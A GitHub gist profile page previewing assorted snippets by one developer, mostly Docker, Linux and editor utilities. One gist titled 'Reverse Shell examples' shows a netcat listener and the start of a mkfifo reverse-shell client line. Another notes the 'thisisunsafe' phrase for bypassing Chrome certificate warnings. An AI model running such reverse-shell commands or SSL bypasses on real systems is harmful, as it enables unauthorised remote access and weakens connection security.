Skip to content

Instantly share code, notes, and snippets.

View lanrat's full-sized avatar
😎
👨‍💻

Ian Foster lanrat

😎
👨‍💻
View GitHub Profile
@lanrat
lanrat / docker-compose-install.sh
Last active December 29, 2021 19:58
Docker compose v2 installation linux
# https://github.com/docker/compose
curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64 > /usr/libexec/docker/cli-plugins/docker-compose
chmod +x /usr/libexec/docker/cli-plugins/docker-compose
@lanrat
lanrat / docker-recreate.go
Created January 19, 2016 19:41
Recreate a docker container with the same configuration after an image upgrade
package main
import (
"fmt"
"os"
"strings"
"github.com/fsouza/go-dockerclient"
//"github.com/tonnerre/golang-pretty"
)
@lanrat
lanrat / ns.sh
Created March 11, 2015 02:53
netstat in bash with proc
#! /bin/bash
#get all data
ROUTE=$(cat /proc/net/route | grep -v "Iface")
TCP=$(cat /proc/net/tcp | grep "[0-9]: ")
UDP=$(cat /proc/net/udp | grep "[0-9]: ")
SOCKETS=$(ls -l $(find /proc/*/fd/ -type l 2>/dev/null) 2>/dev/null | grep socket)
parse_ipv4()
@lanrat
lanrat / rshell.md
Last active October 22, 2019 19:26
Reverse Shell examples

netcat (openbsd)

server

nc -knvl $PORT

client

rm -f /tmp/f; mkfifo /tmp/f
@lanrat
lanrat / remove-advertisers.js
Last active April 16, 2019 11:32 — forked from bluetidepro/remove-advertisers.js
Auto click "remove" on all facebook advertisers
// I did this in Chrome...
//
// Go to https://www.facebook.com/ads/preferences/
// Click the "Advertisers" section to open it up.
// Click "See more" once
// Before doing anything else, just keep clicking space bar to trigger the "see more" button
// Do this for a bit until all the advertisers are loaded
// then run this below in the dev tools console...
// (It will take a few minutes, depending how many you have, and your browser may lock up, but once it's done you will see it auto clicked the "remove" X in the top right for all of them)
@lanrat
lanrat / alsa.sh
Created July 28, 2018 05:47
ALSA for Bluetooth on Linux reset Script
#! /usr/bin/env bash
# info: https://wiki.archlinux.org/index.php/Bluetooth_headset#Troubleshooting
set -eu
DEVICE_NAME="TODO"
reset_bt()
{
# turn card off
CARD=$(pactl list cards short | cut -f2 | grep blue | head -1)
@lanrat
lanrat / settings.json
Created July 29, 2018 04:53
theia settings
/*
Preference file for user scope
Please refer to the documentation online (https://github.com/theia-ide/theia/blob/master/packages/preferences/README.md) to learn how preferences work in Theia
*/
{
"git.decorations.colors": true
"editor.minimap.enabled": true
@lanrat
lanrat / chrome.md
Created July 28, 2018 02:55
chrome ignore ssl warnings

thisisunsafe

@lanrat
lanrat / cb-exit
Created May 25, 2013 18:35
A modification to the cb-exit script in CrunchBang Linux to allow Hibernate
#!/usr/bin/env python
import pygtk
pygtk.require('2.0')
import gtk
import os
import getpass
class cb_exit:
def disable_buttons(self):
@lanrat
lanrat / Docekrfile
Last active May 2, 2018 03:37
ct-mirror
FROM ubuntu:14.04 as build
RUN apt update && \
apt install -y autoconf automake libtool shtool cmake clang git make tcl pkg-config python2.7 curl
RUN git clone --depth 1 https://chromium.googlesource.com/chromium/tools/depot_tools.git /depot_tools
ENV PATH=$PATH:/depot_tools
RUN mkdir /ct
WORKDIR /ct